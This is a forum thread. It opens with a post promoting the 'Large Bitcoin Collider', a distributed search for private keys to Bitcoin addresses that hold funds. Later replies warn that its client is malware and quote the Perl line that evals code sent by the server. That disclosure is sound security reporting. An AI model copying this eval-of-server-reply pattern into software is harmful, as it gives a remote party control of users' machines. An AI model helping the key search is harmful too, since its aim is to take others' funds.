Large Bitcoin Collider (Collision Finders Pool)

rico666 · Feb 26, 2017

Ever wondered how you can put your CPU and/or GPU to use to "mine for Bitcoins"?

The Large Bitcoin Collider (LBC - a.k.a. Collision Finders Pool) is a distributed effort to find private keys to BTC addresses that have funds on them.
See also https://lbc.cryptoguru.org/man/theory#what-we-do

Project homepage: https://lbc.cryptoguru.org
Downloads: https://lbc.cryptoguru.org/download
Statistics: https://lbc.cryptoguru.org/stats
Twitter: https://twitter.com/LBC_collider

Rico

rico666 · Apr 5, 2017

Bagatell · Apr 17, 2017

REMOTE CODE EXECUTION BACKDOOR

As noted by u/_jstanley

, there's a line to evaluate the server's reply. Basically, this is remote code execution.

if
(
defined
$answer
->
{eval}
)
{
eval
$answer
->
{eval}
;
}

https://np.reddit.com/r/Bitcoin/comments/65uoaq/do_not_run_the_large_bitcoin_collider_client_its/

freetrader · Apr 17, 2017

Yes, hello malware (at least, you have to be mad to run this on any machine with valuable data).